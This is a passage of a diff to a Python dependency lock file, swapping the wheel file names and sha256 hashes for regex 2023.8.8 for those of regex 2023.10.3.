"regex-2023.8.8-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ca339088839582d01654e6f83a637a4b8194d0960477b9769d2ff2cfa0fa36d2"}, - {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:d9b6627408021452dcd0d2cdf8da0534e19d93d070bfa8b6b4176f99711e7f90"}, - {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:bd3366aceedf274f765a3a4bc95d6cd97b130d1dda524d8f25225d14123c01db"}, - {file = "regex-2023.8.8-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7aed90a72fc3654fba9bc4b7f851571dcc368120432ad68b226bd593f3f6c0b7"}, - {file = "regex-2023.8.8-cp310-cp310-win32.whl", hash = "sha256:80b80b889cb767cc47f31d2b2f3dec2db8126fbcd0cff31b3925b4dc6609dcdb"}, - {file = "regex-2023.8.8-cp310-cp310-win_amd64.whl", hash = "sha256:b82edc98d107cbc7357da7a5a695901b47d6eb0420e587256ba3ad24b80b7d0b"}, - {file = "regex-2023.8.8-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1e7d84d64c84ad97bf06f3c8cb5e48941f135ace28f450d86af6b6512f1c9a71"}, - {file = "regex-2023.8.8-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ce0f9fbe7d295f9922c0424a3637b88c6c472b75eafeaff6f910494a1fa719ef"}, - {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:06c57e14ac723b04458df5956cfb7e2d9caa6e9d353c0b4c7d5d54fcb1325c46"}, - {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e7a9aaa5a1267125eef22cef3b63484c3241aaec6f48949b366d26c7250e0357"}, - {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9b7408511fca48a82a119d78a77c2f5eb1b22fe88b0d2450ed0756d194fe7a9a"}, - {file = "regex-2023.8.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14dc6f2d88192a67d708341f3085df6a4f5a0c7b03dec08d763ca2cd86e9f559"}, - {file = "regex-2023.8.8-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:48c640b99213643d141550326f34f0502fedb1798adb3c9eb79650b1ecb2f177"}, - {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0085da0f6c6393428bf0d9c08d8b1874d805bb55e17cb1dfa5ddb7cfb11140bf"}, - {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:964b16dcc10c79a4a2be9f1273fcc2684a9eedb3906439720598029a797b46e6"}, - {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7ce606c14bb195b0e5108544b540e2c5faed6843367e4ab3deb5c6aa5e681208"}, - {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:40f029d73b10fac448c73d6eb33d57b34607f40116e9f6e9f0d32e9229b147d7"}, - {file = "regex-2023.8.8-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3b8e6ea6be6d64104d8e9afc34c151926f8182f84e7ac290a93925c0db004bfd"}, - {file = "regex-2023.8.8-cp311-cp311-win32.whl", hash = "sha256:942f8b1f3b223638b02df7df79140646c03938d488fbfb771824f3d05fc083a8"}, - {file = "regex-2023.8.8-cp311-cp311-win_amd64.whl", hash = "sha256:51d8ea2a3a1a8fe4f67de21b8b93757005213e8ac3917567872f2865185fa7fb"}, - {file = "regex-2023.8.8-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:e951d1a8e9963ea51efd7f150450803e3b95db5939f994ad3d5edac2b6f6e2b4"}, - {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:704f63b774218207b8ccc6c47fcef5340741e5d839d11d606f70af93ee78e4d4"}, - {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22283c769a7b01c8ac355d5be0715bf6929b6267619505e289f792b01304d898"}, - {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:91129ff1bb0619bc1f4ad19485718cc623a2dc433dff95baadbf89405c7f6b57"}, - {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de35342190deb7b866ad6ba5cbcccb2d22c0487ee0cbb251efef0843d705f0d4"}, - {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b993b6f524d1e274a5062488a43e3f9f8764ee9745ccd8e8193df743dbe5ee61"}, - {file = "regex-2023.8.8-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3026cbcf11d79095a32d9a13bbc572a458727bd5b1ca332df4a79faecd45281c"}, - {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:293352710172239bf579c90a9864d0df57340b6fd21272345222fb6371bf82b3"}, - {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:d909b5a3fff619dc7e48b6b1bedc2f30ec43033ba7af32f936c10839e81b9217"}, - {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3d370ff652323c5307d9c8e4c62efd1956fb08051b0e9210212bc51168b4ff56"}, - {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:b076da1ed19dc37788f6a934c60adf97bd02c7eea461b73730513921a85d4235"}, - {file = "regex-2023.8.8-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:e9941a4ada58f6218694f382e43fdd256e97615db9da135e77359da257a7168b"}, - {file = "regex-2023.8.8-cp36-cp36m-win32.whl", hash = "sha256:a8c65c17aed7e15a0c824cdc63a6b104dfc530f6fa8cb6ac51c437af52b481c7"}, - {file = "regex-2023.8.8-cp36-cp36m-win_amd64.whl", hash = "sha256:aadf28046e77a72f30dcc1ab185639e8de7f4104b8cb5c6dfa5d8ed860e57236"}, - {file = "regex-2023.8.8-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:423adfa872b4908843ac3e7a30f957f5d5282944b81ca0a3b8a7ccbbfaa06103"}, - {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ae594c66f4a7e1ea67232a0846649a7c94c188d6c071ac0210c3e86a5f92109"}, - {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e51c80c168074faa793685656c38eb7a06cbad7774c8cbc3ea05552d615393d8"}, - {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:09b7f4c66aa9d1522b06e31a54f15581c37286237208df1345108fcf4e050c18"}, - {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e73e5243af12d9cd6a9d6a45a43570dbe2e5b1cdfc862f5ae2b031e44dd95a8"}, - {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:941460db8fe3bd613db52f05259c9336f5a47ccae7d7def44cc277184030a116"}, - {file = "regex-2023.8.8-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f0ccf3e01afeb412a1a9993049cb160d0352dba635bbca7762b2dc722aa5742a"}, - {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:2e9216e0d2cdce7dbc9be48cb3eacb962740a09b011a116fd7af8c832ab116ca"}, - {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:5cd9cd7170459b9223c5e592ac036e0704bee765706445c353d96f2890e816c8"}, - {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:4873ef92e03a4309b3ccd8281454801b291b689f6ad45ef8c3658b6fa761d7ac"}, - {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:239c3c2a339d3b3ddd51c2daef10874410917cd2b998f043c13e2084cb191684"}, - {file = "regex-2023.8.8-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:1005c60ed7037be0d9dea1f9c53cc42f836188227366370867222bda4c3c6bd7"}, - {file = "regex-2023.8.8-cp37-cp37m-win32.whl", hash = "sha256:e6bd1e9b95bc5614a7a9c9c44fde9539cba1c823b43a9f7bc11266446dd568e3"}, - {file = "regex-2023.8.8-cp37-cp37m-win_amd64.whl", hash = "sha256:9a96edd79661e93327cfeac4edec72a4046e14550a1d22aa0dd2e3ca52aec921"}, - {file = "regex-2023.8.8-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f2181c20ef18747d5f4a7ea513e09ea03bdd50884a11ce46066bb90fe4213675"}, - {file = "regex-2023.8.8-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a2ad5add903eb7cdde2b7c64aaca405f3957ab34f16594d2b78d53b8b1a6a7d6"}, - {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9233ac249b354c54146e392e8a451e465dd2d967fc773690811d3a8c240ac601"}, - {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:920974009fb37b20d32afcdf0227a2e707eb83fe418713f7a8b7de038b870d0b"}, - {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2b6c5dfe0929b6c23dde9624483380b170b6e34ed79054ad131b20203a1a63"}, - {file = "regex-2023.8.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:96979d753b1dc3b2169003e1854dc67bfc86edf93c01e84757927f810b8c3c93"}, - {file = "regex-2023.8.8-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2ae54a338191e1356253e7883d9d19f8679b6143703086245fb14d1f20196be9"}, - {file = "regex-2023.8.8-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2162ae2eb8b079622176a81b65d486ba50b888271302190870b8cc488587d280"}, - {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c884d1a59e69e03b93cf0dfee8794c63d7de0ee8f7ffb76e5f75be8131b6400a"}, - {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf9273e96f3ee2ac89ffcb17627a78f78e7516b08f94dc435844ae72576a276e"}, - {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:83215147121e15d5f3a45d99abeed9cf1fe16869d5c233b08c56cdf75f43a504"}, - {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3f7454aa427b8ab9101f3787eb178057c5250478e39b99540cfc2b889c7d0586"}, - {file = "regex-2023.8.8-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:f0640913d2c1044d97e30d7c41728195fc37e54d190c5385eacb52115127b882"}, - {file = "regex-2023.8.8-cp38-cp38-win32.whl", hash = "sha256:0c59122ceccb905a941fb23b087b8eafc5290bf983ebcb14d2301febcbe199c7"}, - {file = "regex-2023.8.8-cp38-cp38-win_amd64.whl", hash = "sha256:c12f6f67495ea05c3d542d119d270007090bad5b843f642d418eb601ec0fa7be"}, - {file = "regex-2023.8.8-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:82cd0a69cd28f6cc3789cc6adeb1027f79526b1ab50b1f6062bbc3a0ccb2dbc3"}, - {file = "regex-2023.8.8-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:bb34d1605f96a245fc39790a117ac1bac8de84ab7691637b26ab2c5efb8f228c"}, - {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:987b9ac04d0b38ef4f89fbc035e84a7efad9cdd5f1e29024f9289182c8d99e09"}, - {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9dd6082f4e2aec9b6a0927202c85bc1b09dcab113f97265127c1dc20e2e32495"}, - {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7eb95fe8222932c10d4436e7a6f7c99991e3fdd9f36c949eff16a69246dee2dc"}, - {file = "regex-2023.8.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7098c524ba9f20717a56a8d551d2ed491ea89cbf37e540759ed3b776a4f8d6eb"}, - {file = "regex-2023.8.8-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b694430b3f00eb02c594ff5a16db30e054c1b9589a043fe9174584c6efa8033"}, - {file = "regex-2023.8.8-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:b2aeab3895d778155054abea5238d0eb9a72e9242bd4b43f42fd911ef9a13470"}, - {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:988631b9d78b546e284478c2ec15c8a85960e262e247b35ca5eaf7ee22f6050a"}, - {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:67ecd894e56a0c6108ec5ab1d8fa8418ec0cff45844a855966b875d1039a2e34"}, - {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:14898830f0a0eb67cae2bbbc787c1a7d6e34ecc06fbd39d3af5fe29a4468e2c9"}, - {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:f2200e00b62568cfd920127782c61bc1c546062a879cdc741cfcc6976668dfcf"}, - {file = "regex-2023.8.8-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9691a549c19c22d26a4f3b948071e93517bdf86e41b81d8c6ac8a964bb71e5a6"}, - {file = "regex-2023.8.8-cp39-cp39-win32.whl", hash = "sha256:6ab2ed84bf0137927846b37e882745a827458689eb969028af8032b1b3dac78e"}, - {file = "regex-2023.8.8-cp39-cp39-win_amd64.whl", hash = "sha256:5543c055d8ec7801901e1193a51570643d6a6ab8751b1f7dd9af71af467538bb"}, - {file = "regex-2023.8.8.tar.gz", hash = "sha256:fcbdc5f2b0f1cd0f6a56cdb46fe41d2cce1e644e3b68832f3eeebc5fb0f7712e"}, + {file = "regex-2023.10.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4c34d4f73ea738223a094d8e0ffd6d2c1a1b4c175da34d6b0de3d8d69bee6bcc"}, + {file = "regex-2023.10.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a8f4e49fc3ce020f65411432183e6775f24e02dff617281094ba6ab079ef0915"}, + {file = "regex-2023.10.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4cd1bccf99d3ef1ab6ba835308ad85be040e6a11b0977ef7ea8c8005f01a3c29"}, + {file = "regex-2023.10.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:81dce2ddc9f6e8f543d94b05d56e70d03a0774d32f6cca53e978dc01e4fc75b8"}, + {file = "regex-2023.10.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c6b4d23c04831e3ab61717a707a5d763b300213db49ca680edf8bf13ab5d91b"}, + {file = "regex-2023.10.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c15ad0aee158a15e17e0495e1e18741573d04eb6da06d8b84af726cfc1ed02ee"}, + {file = "regex-2023.10.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6239d4e2e0b52c8bd38c51b760cd870069f0bdf99700a62cd509d7a031749a55"}, + {file = "regex-2023.10.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:4a8bf76e3182797c6b1afa5b822d1d5802ff30284abe4599e1247be4fd6b03be"}, + {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d9c727bbcf0065cbb20f39d2b4f932f8fa1631c3e01fcedc979bd4f51fe051c5"}, + {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:3ccf2716add72f80714b9a63899b67fa711b654be3fcdd34fa391d2d274ce767"}, + {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:107ac60d1bfdc3edb53be75e2a52aff7481b92817cfdddd9b4519ccf0e54a6ff"}, + {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:00ba3c9818e33f1fa974693fb55d24cdc8ebafcb2e4207680669d8f8d7cca79a"}, + {file = "regex-2023.10.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:f0a47efb1dbef13af9c9a54a94a0b814902e547b7f21acb29434504d18f36e3a"}, + {file = "regex-2023.10.3-cp310-cp310-win32.whl", hash = "sha256:36362386b813fa6c9146da6149a001b7bd063dabc4d49522a1f7aa65b725c7ec"}, + {file = "regex-2023.10.3-cp310-cp310-win_amd64.whl", hash = "sha256:c65a3b5330b54103e7d21cac3f6bf3900d46f6d50138d73343d9e5b2900b2353"}, + {file = "regex-2023.10.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:90a79bce019c442604662d17bf69df99090e24cdc6ad95b18b6725c2988a490e"}, + {file = "regex-2023.10.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c7964c2183c3e6cce3f497e3a9f49d182e969f2dc3aeeadfa18945ff7bdd7051"}, + {file = "regex-2023.10.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ef80829117a8061f974b2fda8ec799717242353bff55f8a29411794d635d964"}, + {file = "regex-2023.10.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5addc9d0209a9afca5fc070f93b726bf7003bd63a427f65ef797a931782e7edc"}, + {file = "regex-2023.10.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c148bec483cc4b421562b4bcedb8e28a3b84fcc8f0aa4418e10898f3c2c0eb9b"}, + {file = "regex-2023.10.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d1f21af4c1539051049796a0f50aa342f9a27cde57318f2fc41ed50b0dbc4ac"}, + {file = "regex-2023.10.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0b9ac09853b2a3e0d0082104036579809679e7715671cfbf89d83c1cb2a30f58"}, + {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ebedc192abbc7fd13c5ee800e83a6df252bec691eb2c4bedc9f8b2e2903f5e2a"}, + {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d8a993c0a0ffd5f2d3bda23d0cd75e7086736f8f8268de8a82fbc4bd0ac6791e"}, + {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:be6b7b8d42d3090b6c80793524fa66c57ad7ee3fe9722b258aec6d0672543fd0"}, + {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:4023e2efc35a30e66e938de5aef42b520c20e7eda7bb5fb12c35e5d09a4c43f6"}, + {file = "regex-2023.10.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:0d47840dc05e0ba04fe2e26f15126de7c755496d5a8aae4a08bda4dd8d646c54"}, + {file = "regex-2023.10.3-cp311-cp311-win32.whl", hash = "sha256:9145f092b5d1977ec8c0ab46e7b3381b2fd069957b9862a43bd383e5c01d18c2"}, + {file = "regex-2023.10.3-cp311-cp311-win_amd64.whl", hash = "sha256:b6104f9a46bd8743e4f738afef69b153c4b8b592d35ae46db07fc28ae3d5fb7c"}, + {file = "regex-2023.10.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:bff507ae210371d4b1fe316d03433ac099f184d570a1a611e541923f78f05037"}, + {file = "regex-2023.10.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:be5e22bbb67924dea15039c3282fa4cc6cdfbe0cbbd1c0515f9223186fc2ec5f"}, + {file = "regex-2023.10.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a992f702c9be9c72fa46f01ca6e18d131906a7180950958f766c2aa294d4b41"}, + {file = "regex-2023.10.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7434a61b158be563c1362d9071358f8ab91b8d928728cd2882af060481244c9e"}, + {file = "regex-2023.10.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c2169b2dcabf4e608416f7f9468737583ce5f0a6e8677c4efbf795ce81109d7c"}, + {file = "regex-2023.10.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a9e908ef5889cda4de038892b9accc36d33d72fb3e12c747e2799a0e806ec841"}, + {file = "regex-2023.10.3-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12bd4bc2c632742c7ce20db48e0d99afdc05e03f0b4c1af90542e05b809a03d9"}, + {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:bc72c231f5449d86d6c7d9cc7cd819b6eb30134bb770b8cfdc0765e48ef9c420"}, + {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:bce8814b076f0ce5766dc87d5a056b0e9437b8e0cd351b9a6c4e1134a7dfbda9"}, + {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:ba7cd6dc4d585ea544c1412019921570ebd8a597fabf475acc4528210d7c4a6f"}, + {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:b0c7d2f698e83f15228ba41c135501cfe7d5740181d5903e250e47f617eb4292"}, + {file = "regex-2023.10.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:5a8f91c64f390ecee09ff793319f30a0f32492e99f5dc1c72bc361f23ccd0a9a"}, + {file = "regex-2023.10.3-cp312-cp312-win32.whl", hash = "sha256:ad08a69728ff3c79866d729b095872afe1e0557251da4abb2c5faff15a91d19a"}, + {file = "regex-2023.10.3-cp312-cp312-win_amd64.whl", hash = "sha256:39cdf8d141d6d44e8d5a12a8569d5a227f645c87df4f92179bd06e2e2705e76b"}, + {file = "regex-2023.10.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4a3ee019a9befe84fa3e917a2dd378807e423d013377a884c1970a3c2792d293"}, + {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76066d7ff61ba6bf3cb5efe2428fc82aac91802844c022d849a1f0f53820502d"}, + {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bfe50b61bab1b1ec260fa7cd91106fa9fece57e6beba05630afe27c71259c59b"}, + {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fd88f373cb71e6b59b7fa597e47e518282455c2734fd4306a05ca219a1991b0"}, + {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b3ab05a182c7937fb374f7e946f04fb23a0c0699c0450e9fb02ef567412d2fa3"}, + {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dac37cf08fcf2094159922edc7a2784cfcc5c70f8354469f79ed085f0328ebdf"}, + {file = "regex-2023.10.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:e54ddd0bb8fb626aa1f9ba7b36629564544954fff9669b15da3610c22b9a0991"}, + {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3367007ad1951fde612bf65b0dffc8fd681a4ab98ac86957d16491400d661302"}, + {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:16f8740eb6dbacc7113e3097b0a36065a02e37b47c936b551805d40340fb9971"}, + {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:f4f2ca6df64cbdd27f27b34f35adb640b5d2d77264228554e68deda54456eb11"}, + {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:39807cbcbe406efca2a233884e169d056c35aa7e9f343d4e78665246a332f597"}, + {file = "regex-2023.10.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:7eece6fbd3eae4a92d7c748ae825cbc1ee41a89bb1c3db05b5578ed3cfcfd7cb"}, + {file = "regex-2023.10.3-cp37-cp37m-win32.whl", hash = "sha256:ce615c92d90df8373d9e13acddd154152645c0dc060871abf6bd43809673d20a"}, + {file = "regex-2023.10.3-cp37-cp37m-win_amd64.whl", hash = "sha256:0f649fa32fe734c4abdfd4edbb8381c74abf5f34bc0b3271ce687b23729299ed"}, + {file = "regex-2023.10.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:9b98b7681a9437262947f41c7fac567c7e1f6eddd94b0483596d320092004533"}, + {file = "regex-2023.10.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:91dc1d531f80c862441d7b66c4505cd6ea9d312f01fb2f4654f40c6fdf5cc37a"}, + {file = "regex-2023.10.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:82fcc1f1cc3ff1ab8a57ba619b149b907072e750815c5ba63e7aa2e1163384a4"}, + {file = "regex-2023.10.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7979b834ec7a33aafae34a90aad9f914c41fd6eaa8474e66953f3f6f7cbd4368"}, + {file = "regex-2023.10.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ef71561f82a89af6cfcbee47f0fabfdb6e63788a9258e913955d89fdd96902ab"}, + {file = "regex-2023.10.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd829712de97753367153ed84f2de752b86cd1f7a88b55a3a775eb52eafe8a94"}, + {file = "regex-2023.10.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:00e871d83a45eee2f8688d7e6849609c2ca2a04a6d48fba3dff4deef35d14f07"}, + {file = "regex-2023.10.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:706e7b739fdd17cb89e1fbf712d9dc21311fc2333f6d435eac2d4ee81985098c"}, + {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:cc3f1c053b73f20c7ad88b0d1d23be7e7b3901229ce89f5000a8399746a6e039"}, + {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:6f85739e80d13644b981a88f529d79c5bdf646b460ba190bffcaf6d57b2a9863"}, + {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:741ba2f511cc9626b7561a440f87d658aabb3d6b744a86a3c025f866b4d19e7f"}, + {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e77c90ab5997e85901da85131fd36acd0ed2221368199b65f0d11bca44549711"}, + {file = "regex-2023.10.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:979c24cbefaf2420c4e377ecd1f165ea08cc3d1fbb44bdc51bccbbf7c66a2cb4"}, + {file = "regex-2023.10.3-cp38-cp38-win32.whl", hash = "sha256:58837f9d221744d4c92d2cf7201c6acd19623b50c643b56992cbd2b745485d3d"}, + {file = "regex-2023.10.3-cp38-cp38-win_amd64.whl", hash = "sha256:c55853684fe08d4897c37dfc5faeff70607a5f1806c8be148f1695be4a63414b"}, + {file = "regex-2023.10.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2c54e23836650bdf2c18222c87f6f840d4943944146ca479858404fedeb9f9af"}, + {file = "regex-2023.10.3-cp39-cp39-macosx_11_0_arm64.whl", hash = 